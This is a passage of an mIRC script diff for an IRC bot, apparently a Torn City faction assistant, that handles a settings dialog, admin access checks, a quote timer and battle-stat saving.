+  did -r tc.cfgview 41 | did -a tc.cfgview 41 $readini($tc.cfgfile,n,Config,faction)
+  did -a tc.cfgview 9 Updated faction name. 
+}
+on 1:DIALOG:tc.cfgview:sclick:44:{ 
+  if ($did(tc.cfgview,43).text < 0 || $did(tc.cfgview,43).text > 6) { did -a tc.cfgview 9 Invalid chaining bonus, please enter a number between 0-6. Change not saved. | halt }
+  writeini -n $tc.cfgfile Chain upg $did(tc.cfgview,43).text | flushini $tc.cfgfile
+  did -r tc.cfgview 43 | did -a tc.cfgview 43 $readini($tc.cfgfile,n,Chain,upg)
+  if ($did(tc.cfgview,45).text < 0 || $did(tc.cfgview,45).text > 10 || $did(tc.cfgview,45).text == $null || $did(tc.cfgview,45).text !isnum) { var %herm = 0 }
+  else { var %herm = $did(tc.cfgview,45).text }
+  writeini -n $tc.cfgfile Config hermetic %herm | flushini $tc.cfgfile
+  did -r tc.cfgview 43 | did -a tc.cfgview 43 $readini($tc.cfgfile,n,Chain,upg)
+  did -r tc.cfgview 45 | did -a tc.cfgview 45 $readini($tc.cfgfile,n,Config,hermetic)
+  did -a tc.cfgview 9 Updated faction bonuses. 
+}
+on 1:DIALOG:tc.cfgview:sclick:50:{
+  dialog -m tc.pophelp tc.pophelp
+  did -a tc.pophelp 1 This section controls the access level required to use certain commands on the bot. $crlf $crlf - When the box is checked, the bot will require a person to be added to the admin list before the command will work. $crlf $crlf - When it's checked with a greyed out background, the bot will require them to have operator status (@) in channel regardless of the minimum access level setting or admin list. $crlf $crlf - When it is unchecked, it will use the minimum requirement setting and the admin list is not used. 
+}
+on 1:DIALOG:tc.cfgview:sclick:51:{ 
+  writeini -n $tc.cfgfile Access chgid $did(tc.cfgview,51).state | flushini $tc.cfgfile
+  writeini -n $tc.cfgfile Access delid $did(tc.cfgview,51).state | flushini $tc.cfgfile
+  if ($readini($tc.cfgfile,n,Access,delid) == 0) { did -a tc.cfgview 9 !delid access set to min access level. | did -u tc.cfgview 51 }
+  if ($readini($tc.cfgfile,n,Access,delid) == 1) { did -a tc.cfgview 9 !delid access set to bot admins. | did -c tc.cfgview 51 }
+  if ($readini($tc.cfgfile,n,Access,delid) == 2) { did -a tc.cfgview 9 !delid access set to channel operators. | did -cu tc.cfgview 51 }
+}
+on 1:DIALOG:tc.cfgview:sclick:52:{ 
+  writeini -n $tc.cfgfile Access delspy $did(tc.cfgview,52).state | flushini $tc.cfgfile
+  if ($readini($tc.cfgfile,n,Access,delspy) == 0) { did -a tc.cfgview 9 !delspy access set to min access level. | did -u tc.cfgview 52 }
+  if ($readini($tc.cfgfile,n,Access,delspy) == 1) { did -a tc.cfgview 9 !delspy access set to bot admins. | did -c tc.cfgview 52 }
+  if ($readini($tc.cfgfile,n,Access,delspy) == 2) { did -a tc.cfgview 9 !delspy access set to channel operators. | did -cu tc.cfgview 52 }
+}
+on 1:DIALOG:tc.cfgview:sclick:53:{ 
+  writeini -n $tc.cfgfile Access delquote $did(tc.cfgview,53).state | flushini $tc.cfgfile
+  if ($readini($tc.cfgfile,n,Access,delquote) == 0) { did -a tc.cfgview 9 !delquote access set to min access level. | did -u tc.cfgview 53 }
+  if ($readini($tc.cfgfile,n,Access,delquote) == 1) { did -a tc.cfgview 9 !delquote access set to bot admins. | did -c tc.cfgview 53 }
+  if ($readini($tc.cfgfile,n,Access,delquote) == 2) { did -a tc.cfgview 9 !delquote access set to channel operators. | did -cu tc.cfgview 53 }
+}
+on 1:DIALOG:tc.cfgview:sclick:54:{ 
+  writeini -n $tc.cfgfile Access wartally $did(tc.cfgview,54).state | flushini $tc.cfgfile
+  if ($readini($tc.cfgfile,n,Access,wartally) == 0) { did -a tc.cfgview 9 !wartally reset access set to min access level. | did -u tc.cfgview 54 }
+  if ($readini($tc.cfgfile,n,Access,wartally) == 1) { did -a tc.cfgview 9 !wartally reset access set to bot admins. | did -c tc.cfgview 54 }
+  if ($readini($tc.cfgfile,n,Access,wartally) == 2) { did -a tc.cfgview 9 !wartally reset access set to channel operators. | did -cu tc.cfgview 54 }  
+}
+on 1:DIALOG:tc.cfgview:sclick:55:{ 
+  writeini -n $tc.cfgfile Access setbday $did(tc.cfgview,55).state | flushini $tc.cfgfile
+  if ($readini($tc.cfgfile,n,Access,setbday) == 0) { did -a tc.cfgview 9 !setbday access set to min access level. | did -u tc.cfgview 55 }
+  if ($readini($tc.cfgfile,n,Access,setbday) == 1) { did -a tc.cfgview 9 !setbday access set to bot admins. | did -c tc.cfgview 55 }
+  if ($readini($tc.cfgfile,n,Access,setbday) == 2) { did -a tc.cfgview 9 !setbday access set to channel operators. | did -cu tc.cfgview 55 }  
+}
+on 1:DIALOG:tc.cfgview:sclick:56:{ writeini -n $tc.cfgfile Access min o | flushini $tc.cfgfile | did -a tc.cfgview 9 Min access requirement set to OP. }
+on 1:DIALOG:tc.cfgview:sclick:57:{ writeini -n $tc.cfgfile Access min h | flushini $tc.cfgfile | did -a tc.cfgview 9 Min access requirement set to HALFOP. }
+on 1:DIALOG:tc.cfgview:sclick:58:{ writeini -n $tc.cfgfile Access min v | flushini $tc.cfgfile | did -a tc.cfgview 9 Min access requirement set to VOICE. }
+on 1:DIALOG:tc.cfgview:sclick:59:{ writeini -n $tc.cfgfile Access min n | flushini $tc.cfgfile | did -a tc.cfgview 9 Min access requirement set to NONE. }
+on 1:DIALOG:tc.cfgview:sclick:61:{ 
+  if ($readini($tc.cfgfile,n,Color,color) == n) { 
+    set %tc.col $puttok(%tc.col,y,1,32) 
+    writeini -n $tc.cfgfile Color color y 
+    did -c tc.cfgview 61 | did -a tc.cfgview 9 Bot will now respond with colors. 
+  } 
+  else { 
+    set %tc.col $puttok(%tc.col,n,1,32) 
+    writeini -n $tc.cfgfile Color color n 
+    did -u tc.cfgview 61 | did -a tc.cfgview 9 Bot will now respond in plain text. 
+  }   
+  flushini $tc.cfgfile
+}
+on 1:DIALOG:tc.cfgview:sclick:64:{ tc.cfgcol | did -a tc.cfgview 9 Reloaded color theme from last saved values. }
+on 1:DIALOG:tc.cfgview:sclick:65:{
+  if ($did(tc.cfgview,2061).text !isnum || $did(tc.cfgview,2061).text > 15 || $did(tc.cfgview,2061).text < 0) { did -a tc.cfgview 9 Primary color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2062).text !isnum || $did(tc.cfgview,2062).text > 15 || $did(tc.cfgview,2062).text < 0) { did -a tc.cfgview 9 Secondary color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2063).text !isnum || $did(tc.cfgview,2063).text > 15 || $did(tc.cfgview,2063).text < 0) { did -a tc.cfgview 9 Help color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2064).text !isnum || $did(tc.cfgview,2064).text > 15 || $did(tc.cfgview,2064).text < 0) { did -a tc.cfgview 9 Note color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2065).text !isnum || $did(tc.cfgview,2065).text > 15 || $did(tc.cfgview,2065).text < 0) { did -a tc.cfgview 9 Error color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2066).text !isnum || $did(tc.cfgview,2066).text > 15 || $did(tc.cfgview,2066).text < 0) { did -a tc.cfgview 9 Good color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2067).text !isnum || $did(tc.cfgview,2067).text > 15 || $did(tc.cfgview,2067).text < 0) { did -a tc.cfgview 9 Bad color value invalid, proper values are 0-15. | halt }
+  if ($did(tc.cfgview,2068).text !isnum || $did(tc.cfgview,2068).text > 15 || $did(tc.cfgview,2068).text < 0) { did -a tc.cfgview 9 Subnote color value invalid, proper values are 0-15. | halt }
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2061).text,2,32) | writeini -n $tc.cfgfile Color pri $did(tc.cfgview,2061).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2062).text,3,32) | writeini -n $tc.cfgfile Color sec $did(tc.cfgview,2062).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2063).text,4,32) | writeini -n $tc.cfgfile Color help $did(tc.cfgview,2063).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2064).text,5,32) | writeini -n $tc.cfgfile Color note $did(tc.cfgview,2064).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2065).text,6,32) | writeini -n $tc.cfgfile Color error $did(tc.cfgview,2065).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2066).text,7,32) | writeini -n $tc.cfgfile Color good $did(tc.cfgview,2066).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2067).text,8,32) | writeini -n $tc.cfgfile Color bad $did(tc.cfgview,2067).text
+  set %tc.col $puttok(%tc.col,$did(tc.cfgview,2068).text,9,32) | writeini -n $tc.cfgfile Color subnote $did(tc.cfgview,2068).text
+  flushini $tc.cfgfile | did -a tc.cfgview 9 New color theme saved. 
+}
+on 1:DIALOG:tc.cfgview:sclick:66:{
+  did -r tc.cfgview 2061 | did -a tc.cfgview 2061 10
+  did -r tc.cfgview 2062 | did -a tc.cfgview 2062 7
+  did -r tc.cfgview 2063 | did -a tc.cfgview 2063 3
+  did -r tc.cfgview 2064 | did -a tc.cfgview 2064 13
+  did -r tc.cfgview 2065 | did -a tc.cfgview 2065 4
+  did -r tc.cfgview 2066 | did -a tc.cfgview 2066 3
+  did -r tc.cfgview 2067 | did -a tc.cfgview 2067 4
+  did -r tc.cfgview 2068 | did -a tc.cfgview 2068 6
+  did -a tc.cfgview 9 Set all color values to default settings. (Not saved)
+}
+on 1:DIALOG:tc.cfgview:sclick:71:{ 
+  if ($readini($tc.cfgfile,n,Config,ereset) == no) { 
+    writeini -n $tc.cfgfile Config ereset yes 
+    did -c tc.cfgview 71 | did -a tc.cfgview 9 Energy reset notice switched ON. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config ereset no 
+    did -u tc.cfgview 71 | did -a tc.cfgview 9 Energy reset notice switched OFF. 
+  } 
+  flushini $tc.cfgfile
+}
+on 1:DIALOG:tc.cfgview:sclick:72:{ 
+  if ($readini($tc.cfgfile,n,Chain,revnote) == no) { 
+    writeini -n $tc.cfgfile Chain revnote yes 
+    did -c tc.cfgview 72 | did -a tc.cfgview 9 Revive string confirmation notice switched ON. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Chain revnote no 
+    did -u tc.cfgview 72 | did -a tc.cfgview 9 Revive string confirmation notice switched OFF. 
+  } 
+  flushini $tc.cfgfile
+}
+on 1:DIALOG:tc.cfgview:sclick:75:{ 
+  if ($readini($tc.cfgfile,n,Config,bstats) == no) { 
+    writeini -n $tc.cfgfile Config bstats yes 
+    did -c tc.cfgview 75 | did -a tc.cfgview 9 Updating stats now requires "Battle Stats" string. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config bstats no 
+    did -u tc.cfgview 75 | did -a tc.cfgview 9 Updating stats now does NOT require the "Battle Stats" string. 
+  } 
+  flushini $tc.cfgfile
+}
+on 1:DIALOG:tc.cfgview:sclick:79:{ 
+  if ($readini($tc.cfgfile,n,Chain,postchains) == no) { 
+    writeini -n $tc.cfgfile Chain postchains yes 
+    did -c tc.cfgview 79 | did -a tc.cfgview 9 Notices will now be posted in other channels at the start/end of chains. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Chain postchains no 
+    did -u tc.cfgview 79 | did -a tc.cfgview 9 Notices will no longer be posted in other channels at the start/end of chains. 
+  } 
+  flushini $tc.cfgfile
+}
+on 1:DIALOG:tc.cfgview:sclick:171:{ 
+  if ($readini($tc.cfgfile,n,Quote,split) == no) { 
+    writeini -n $tc.cfgfile Quote split yes 
+    did -c tc.cfgview 171 | did -a tc.cfgview 9 Quote bot will now keep each channel seperate. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Quote split no 
+    did -u tc.cfgview 171 | did -a tc.cfgview 9 Quote bot will now only use one database. 
+  } 
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:172:{ 
+  if ($readini($tc.cfgfile,n,Config,spyen) == no) { 
+    writeini -n $tc.cfgfile Config spyen yes 
+    did -c tc.cfgview 172 | did -a tc.cfgview 9 Spy storage commands enabled. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config spyen no 
+    did -u tc.cfgview 172 | did -a tc.cfgview 9 Spy storage commands disabled. 
+  } 
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:173:{ 
+  if ($readini($tc.cfgfile,n,Config,findadd) == no) { 
+    writeini -n $tc.cfgfile Config findadd yes 
+    did -c tc.cfgview 173 | did -a tc.cfgview 9 The bot will now always add IDs if they're not already in when someone uses !find. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config findadd no 
+    did -u tc.cfgview 173 | did -a tc.cfgview 9 The bot will only add IDs if they're in your faction and not already in when someone uses !find. 
+  } 
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:174:{ 
+  if ($readini($tc.cfgfile,n,Config,odrevive) == no) { 
+    writeini -n $tc.cfgfile Config odrevive yes 
+    did -c tc.cfgview 174 | did -a tc.cfgview 9 The bot will now paste a revive request after someone pastes an overdose. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config odrevive no 
+    did -u tc.cfgview 174 | did -a tc.cfgview 9 The bot will NOT paste a revive request after someone pastes an overdose. 
+  } 
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:176:{ 
+  if ($readini($tc.cfgfile,n,Banker,enable) == d) { 
+    writeini -n $tc.cfgfile Banker enable e
+    did -c tc.cfgview 176 | did -a tc.cfgview 9 Banker commands have been ENABLED. Use !setbanker to change the line. (req bot admin)
+  } 
+  else { 
+    writeini -n $tc.cfgfile Banker enable d
+    did -u tc.cfgview 176 | did -a tc.cfgview 9 Banker commands have been DISABLED
+  } 
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:177:{ 
+  if ($readini($tc.cfgfile,n,Config,statsaving) == d) { 
+    writeini -n $tc.cfgfile Config statsaving e
+    did -c tc.cfgview 177 | did -a tc.cfgview 9 Battle stat saving/commands have been ENABLED. 
+  } 
+  else { 
+    writeini -n $tc.cfgfile Config statsaving d
+    did -u tc.cfgview 177 | did -a tc.cfgview 9 Battle stat saving/commands have been DISABLED
+  } 
+  flushini $tc.cfgfile
+  set %tc.statsaving $readini($tc.cfgfile,n,Config,statsaving)
+}
+
+on 1:DIALOG:tc.cfgview:sclick:262:{   
+  if ($did(tc.cfgview,261).text != $null) { 
+    writeini -n $tc.cfgfile API key $did(tc.cfgview,261).text
+    did -a tc.cfgview 9 API key has been updated.
+  }
+  else {
+    remini $tc.cfgfile API key
+    did -a tc.cfgview 9 API key has been cleared.
+  }
+  flushini $tc.cfgfile
+}
+
+on 1:DIALOG:tc.cfgview:sclick:270:{ 
+  if ($readini($tc.cfgfile,n,API,enable) == d) { 
+    writeini -n $tc.cfgfile API enable e
+    did -c tc.cfgview 270 | did -a tc.cfgview 9 API usage has been ENABLED. Make sure you have set your key correctly.
+  } 
+  else { 
+    writeini -n $tc.cfgfile API enable d
+    did -u tc.cfgview 270 | did -a tc.cfgview 9 API usage has been DISABLED. 
+  } 
+  flushini $tc.cfgfile
+}
+
+menu status,channel { 
+  Universal TC Assistant v $+ $tc.botvers Config:tc.cfg
+}
+
+menu nicklist {
+  Universal TC Assistant v $+ $tc.botvers
+  . Add to Admin list:tc.adm add $1
+  . Delete from Admin list:tc.adm del $1
+}
+
+alias -l tc.adm { tc.cfgcheck
+  if ($1 == add) { var %admip = $address($2,3) | hadd -m tc.adm $2 %admip | hsave tc.adm $tc.admfile | echo -ag $2 added to admin list with IP: %admip } 
+  if ($1 == del) { hdel tc.adm $2 | hsave tc.adm $tc.admfile | echo -ag $2 removed from admin list. }
+}
+
+alias -l tc.cfg { tc.cfgcheck
+  if ($dialog(tc.cfgview)) { halt } | dialog -m tc.cfgview tc.cfgview 
+  var %counter 1 | while (%counter <= $hget(tc.adm,0).item) { did -a tc.cfgview 21 $hget(tc.adm,%counter).item - $hget(tc.adm,%counter).data | inc %counter }
+  did -a tc.cfgview 19 $readini($tc.cfgfile,n,Chain,revive)
+  did -a tc.cfgview 41 $readini($tc.cfgfile,n,Config,faction)
+  did -a tc.cfgview 43 $readini($tc.cfgfile,n,Chain,upg)
+  did -a tc.cfgview 45 $readini($tc.cfgfile,n,Config,hermetic)
+  if ($readini($tc.cfgfile,n,Access,delid) == 0) { did -u tc.cfgview 51 } | if ($readini($tc.cfgfile,Access,delid) == 1) { did -c tc.cfgview 51 } | if ($readini($tc.cfgfile,Access,delid) == 2) { did -cu tc.cfgview 51 }
+  if ($readini($tc.cfgfile,n,Access,delspy) == 0) { did -u tc.cfgview 52 } | if ($readini($tc.cfgfile,Access,delspy) == 1) { did -c tc.cfgview 52 } | if ($readini($tc.cfgfile,Access,delspy) == 2) { did -cu tc.cfgview 52 }
+  if ($readini($tc.cfgfile,n,Access,delquote) == 0) { did -u tc.cfgview 53 } | if ($readini($tc.cfgfile,Access,delquote) == 1) { did -c tc.cfgview 53 } | if ($readini($tc.cfgfile,Access,delquote) == 2) { did -cu tc.cfgview 53 }
+  if ($readini($tc.cfgfile,n,Access,wartally) == 0) { did -u tc.cfgview 54 } | if ($readini($tc.cfgfile,Access,wartally) == 1) { did -c tc.cfgview 54 } | if ($readini($tc.cfgfile,Access,wartally) == 2) { did -cu tc.cfgview 54 }
+  if ($readini($tc.cfgfile,n,Access,setbday) == 0) { did -u tc.cfgview 55 } | if ($readini($tc.cfgfile,Access,setbday) == 1) { did -c tc.cfgview 55 } | if ($readini($tc.cfgfile,Access,setbday) == 2) { did -cu tc.cfgview 55 }
+  if ($readini($tc.cfgfile,n,Access,min) == o) { did -c tc.cfgview 56 }
+  elseif ($readini($tc.cfgfile,n,Access,min) == h) {  did -c tc.cfgview 57 }
+  elseif ($readini($tc.cfgfile,n,Access,min) == v) { did -c tc.cfgview 58 }
+  elseif ($readini($tc.cfgfile,n,Access,min) == n) { did -c tc.cfgview 59 }
+  if ($readini($tc.cfgfile,n,Color,color) == y) { did -c tc.cfgview 61 } | else { did -u tc.cfgview 61 }
+  if ($readini($tc.cfgfile,n,Config,ereset) == yes) { did -c tc.cfgview 71 } | else { did -u tc.cfgview 71 }
+  if ($readini($tc.cfgfile,n,Chain,revnote) == yes) { did -c tc.cfgview 72 } | else { did -u tc.cfgview 72 }
+  if ($readini($tc.cfgfile,n,Config,bstats) == yes) { did -c tc.cfgview 75 } | else { did -u tc.cfgview 75 }
+  if ($readini($tc.cfgfile,n,Chain,postchains) == yes) { did -c tc.cfgview 79 } | else { did -u tc.cfgview 79 }
+  if ($readini($tc.cfgfile,n,Quote,split) == yes) { did -c tc.cfgview 171 } | else { did -u tc.cfgview 171 }
+  tc.cfgcol
+  did -a tc.cfgview 2161 0 = white $+ $crlf $+ 1 = black $+ $crlf $+ 2 = dark blue $+ $crlf $+ 3 = dark green $+ $crlf $+ 4 = red $+ $crlf $+ 5 = brown $+ $crlf $+ 6 = dark purple $+ $crlf $+ 7 = orange $+ $crlf $+ 8 = yellow $+ $crlf $+ 9 = light green $+ $crlf $+ 10 = dark teal $+ $crlf $+ 11 = light teal $+ $crlf $+ 12 = blue $+ $crlf $+ 13 = light purple $+ $crlf $+ 14 = dark grey $+ $crlf $+ 15 = grey
+  if ($readini($tc.cfgfile,n,Config,spyen) == yes) { did -c tc.cfgview 172 } | else { did -u tc.cfgview 172 }
+  if ($readini($tc.cfgfile,n,Config,findadd) == yes) { did -c tc.cfgview 173 } | else { did -u tc.cfgview 173 }
+  if ($readini($tc.cfgfile,n,Config,odrevive) == yes) { did -c tc.cfgview 174 } | else { did -u tc.cfgview 174 }
+  if ($readini($tc.cfgfile,n,Banker,enable) == e) { did -c tc.cfgview 176 } | else { did -u tc.cfgview 176 }
+  if ($readini($tc.cfgfile,n,Config,statsaving) == e) { did -c tc.cfgview 177 } | else { did -u tc.cfgview 177 }
+  if ($readini($tc.cfgfile,n,API,key)) { did -a tc.cfgview 261 $readini($tc.cfgfile,n,API,key) } 
+  if ($readini($tc.cfgfile,n,API,enable) == e) { did -c tc.cfgview 270 } | else { did -u tc.cfgview 270 }
+
+}
+
+alias -l tc.cfgcol {
+  did -r tc.cfgview 2061 | did -a tc.cfgview 2061 $readini($tc.cfgfile,n,Color,pri)
+  did -r tc.cfgview 2062 | did -a tc.cfgview 2062 $readini($tc.cfgfile,n,Color,sec)
+  did -r tc.cfgview 2063 | did -a tc.cfgview 2063 $readini($tc.cfgfile,n,Color,help)
+  did -r tc.cfgview 2064 | did -a tc.cfgview 2064 $readini($tc.cfgfile,n,Color,note)
+  did -r tc.cfgview 2065 | did -a tc.cfgview 2065 $readini($tc.cfgfile,n,Color,error)
+  did -r tc.cfgview 2066 | did -a tc.cfgview 2066 $readini($tc.cfgfile,n,Color,good)
+  did -r tc.cfgview 2067 | did -a tc.cfgview 2067 $readini($tc.cfgfile,n,Color,bad)
+  did -r tc.cfgview 2068 | did -a tc.cfgview 2068 $readini($tc.cfgfile,n,Color,subnote)
+}
+
+; Config file check, this is called in several places.
+alias -l tc.cfgcheck { if (!$exists($tc.cfgfile)) { echo -ag Config file not found! Need to type /tcsetup for initial setup! | halt } }
+
+alias -l tc.chkaccess {
+  var %admaccess = 0, %ptr = 1
+  if ($1 == wartally) { var %comm = wartally/warresp reset }
+  else { var %comm = $1 }
+  while (%ptr <= $hget(tc.adm,0).item) { if ($2 == $hget(tc.adm,%ptr).item && $address($2,3) == $hget(tc.adm,%ptr).data) { var %admaccess = 1 } | inc %ptr }
+  if ($readini($tc.cfgfile,n,Access,$1) == 1 && %admaccess != 1) { msg $3 $tc.col(5) $+ No can do, you need to request a bot admin to use $+ $tc.col(2) $chr(33) $+ %comm $+ $tc.col(5) $+ . | halt }
+  if ($readini($tc.cfgfile,n,Access,$1) == 2 && $2 !isop $3) { msg $3 $tc.col(5) $+ No can do, you need to request a channel op to use $+ $tc.col(2) $chr(33) $+ %comm $+ $tc.col(5) $+ . | halt }
+}
+
+; checks admin status. Does not halt, returns 1 if allowed, nothing if not. Handle at returning sub.
+alias -l tc.chkadm {
+  var %admaccess = 0, %ptr = 1
+  while (%ptr <= $hget(tc.adm,0).item) { 
+    if ($1 == $hget(tc.adm,%ptr).item && $address($1,3) == $hget(tc.adm,%ptr).data) { var %admaccess = 1 } 
+    inc %ptr 
+  }
+  if (%admaccess == 1) { return 1 }
+  else { return $null }
+}
+
+; --------------------------------- personal setting + social functions ---------------------------------
+
+alias -l tc.set { writeini -n $tc.psetfile $1 $2 $3- }
+alias -l tc.getset { return $readini($tc.psetfile,n,$1,$2) }
+
+; Split quote chan scanner. 
+; $1 = channel, $2 = requested quote
+; Takes input, scans through quote file collecting data as needed and:
+;    if $2 exists - returns requested quote file location.
+;    otherwise - returns number of channel only quotes.
+; Any checks are done in the returning subs. This is used in many many places throughout the quote system.
+; Better for one spot since fixing bugs = having to go find this shit everywhere and fix it there too.
+alias -l tc.qscan {
+  var %eof = $lines($tc.quotefile)  
+  var %ptr = 1, %ctr = 0
+  while (%ptr <= %eof) { 
+    if ($gettok($read($tc.quotefile,n,%ptr),1,9) == $1) { 
+      inc %ctr 
+      if ($2 == %ctr) { var %loc = %ptr }
+    }
+    inc %ptr
+  }
+  if (%loc != $null) { return %loc }
+  else { return %ctr }
+}
+
+; Quote spammer alias
+; $1 is the timer, $2 is the channel
+alias -l tc.qspam {
+  if (%tcchain.stchan == $null) { 
+    if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+      var %ctr = $tc.qscan($2), %qrand = $rand(1,%ctr)
+      if (%qrand != $null) { var %loc = $tc.qscan($2,%qrand) }
+      else { echo -s 4Note: $2 random quote timer skipped, no matched quotes for channel. Next one in $duration($1) }
+    }
+    else { var %ctr = $lines($tc.quotefile), %qrand = $rand(1,%ctr), %loc = %qrand }
+    var %quote = $gettok($read($tc.quotefile,n,%loc),4,9)
+    if (%quote != $null) { msg $2 $tc.col(8) $+ Quote $+ $tc.col(2) %qrand $+ $tc.col(8) $+ / $+ $tc.col(2) $+ %ctr $+ $tc.col(8) $+ : $+ $tc.col(1) $eval(%quote,1) }
+    else { echo -s 4Note: $2 random quote timer skipped, no matched quotes. Next one in $duration($1) }
+  }
+  else { echo -s 4Note: $2 random quote timer skipped, chain is running. Next one in $duration($1) }
+  .timer0.tcflag.qspam $+ $remove($2,$chr(35)) 1 $1 tc.qspam $1 $2 
+}
+
+; --------------------------------- stat bot functions ---------------------------------
+
+; stats subroutine that takes a players ID, looks for a stats table for that player in memory.
+; once it has the table, it saves it to the players stat file, posts a summary update and performs garbage cleanup
+; this is called on a catchup timer after a person pastes their stats so it's only run once instead of after every single paste
+alias -l tc.statsave {
+  if ($timer($1 $+ $chr(46) $+ stat)) { .timer $+ $1 $+ $chr(46) $+ stat off }
+  if (%tc.bstatadd != $null) {
+    var %statstablename = stat $+ $1
+    var %statsfile = $tc.statsfile($1)    
+    var %pastsaved = $read(%statsfile, $lines(%statsfile)) 
+    var %name = $tc.getname($1)  
+    var %pasttime = $gettok(%pastsaved,1,32) | if (%pasttime == $null) { var %pasttime = 0 }
+    var %paststr = $gettok(%pastsaved,2,32) | if (%paststr == $null) { var %paststr = 0 }
+    var %pastdef = $gettok(%pastsaved,3,32) | if (%pastdef == $null) { var %pastdef = 0 }
+    var %pastspd $gettok(%pastsaved,4,32) | if (%pastspd == $null) { var %pastspd = 0 }
+    var %pastdex $gettok(%pastsaved,5,32) | if (%pastdex == $null) { var %pastdex = 0 }
+    var %pasttotal = $calc(%paststr + %pastdef + %pastspd + %pastdex)
+    var %currstr = $gettok($hget(%statstablename,str),1,32) | if (%currstr == $null) { var %currstr = %paststr }
+    var %currdef = $gettok($hget(%statstablename,def),1,32) | if (%currdef == $null) { var %currdef = %pastdef }
+    var %currspd = $gettok($hget(%statstablename,spd),1,32) | if (%currspd == $null) { var %currspd = %pastspd }
+    var %currdex = $gettok($hget(%statstablename,dex),1,32) | if (%currdex == $null) { var %currdex = %pastdex }
+    var %currtotal = $calc(%currstr + %currdef + %currspd + %currdex)
+    var %timediff = $calc($tc.time - %pasttime)
+    var %pstr = $gettok($hget(%statstablename,str),2,32) | if (%pstr !isnum) { var %pstr = 0 }
+    var %pdef = $gettok($hget(%statstablename,def),2,32) | if (%pdef !isnum) { var %pdef = 0 }
+    var %pspd = $gettok($hget(%statstablename,spd),2,32) | if (%pspd !isnum) { var %pspd = 0 }
+    var %pdex = $gettok($hget(%statstablename,dex),2,32) | if (%pdex !isnum) { var %pdex = 0 }
+    tc.set $1 cstat %pstr %pdef %pspd %pdex    
+    if (%currtotal != %pasttotal) {
+      if (%timediff <= 3600 && $lines(%statsfile) != 1) { 
+        write -dl $+ $lines(%statsfile) $qt(%statsfile)
+        var %saveline = %pasttime %currstr %currdef %currspd %currdex
+        write $qt(%statsfile) %saveline
+      }
+      else { 
+        var %saveline = $tc.time %currstr %currdef %currspd %currdex
+        write $qt(%statsfile) %saveline
+      }
+      if ($lines(%statsfile) != 1) {
+        var %chanpost = $tc.col(2) $+ %name $+ $tc.col(1), you have 
+        if (%currstr < %paststr) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(7) $+ lost $+ $tc.col(2) $tc.addComma($calc(%paststr - %currstr)) $tc.col(1) $+ strength }
+        if (%currstr > %paststr) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(6) $+ gained $+ $tc.col(2) $tc.addComma($calc(%currstr - %paststr)) $tc.col(1) $+ strength }
+        if (%currstr != %paststr) { var %chanpost = %chanpost $+ $chr(44) }
+        if (%currdef < %pastdef) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(7) $+ lost $+ $tc.col(2) $tc.addComma($calc(%pastdef - %currdef)) $tc.col(1) $+ defense }
+        if (%currdef > %pastdef) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(6) $+ gained $+ $tc.col(2) $tc.addComma($calc(%currdef - %pastdef)) $tc.col(1) $+ defense }
+        if (%currdef != %pastdef) { var %chanpost = %chanpost $+ $chr(44) }
+        if (%currspd < %pastspd) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(7) $+ lost $+ $tc.col(2) $tc.addComma($calc(%pastspd - %currspd)) $tc.col(1) $+ speed }
+        if (%currspd > %pastspd) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(6) $+ gained $+ $tc.col(2) $tc.addComma($calc(%currspd - %pastspd)) $tc.col(1) $+ speed }
+        if (%currspd != %pastspd) { var %chanpost = %chanpost $+ $chr(44) }
+        if (%currdex < %pastdex) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(7) $+ lost $+ $tc.col(2) $tc.addComma($calc(%pastdex - %currdex)) $tc.col(1) $+ dexterity }
+        if (%currdex > %pastdex) { var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(6) $+ gained $+ $tc.col(2) $tc.addComma($calc(%currdex - %pastdex)) $tc.col(1) $+ dexterity }
+        var %chanpost = %chanpost $+ $chr(32) $+ $tc.col(1) $+ since your last update on $+ $tc.col(2) $asctime(%pasttime,mmm d h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ $tc.col(2) $duration($calc($tc.time - %pasttime)) $tc.col(1) $+ ago.
+        if ($calc(%pstr + %pdef + %pspd + %pdex) != 0) {
+          msg $2 %chanpost $tc.col(1) $+ Your current passives have been saved, use $tc.col(2) $+ !cstats $tc.col(1) $+ to see what you look like right now. $tc.col(8) $+ To see all stat display commands, use !shelp
+        } 
+        else {
+          msg $2 %chanpost $tc.col(8) $+ Use !shelp to see all stat display commands.
+        }
+      } 
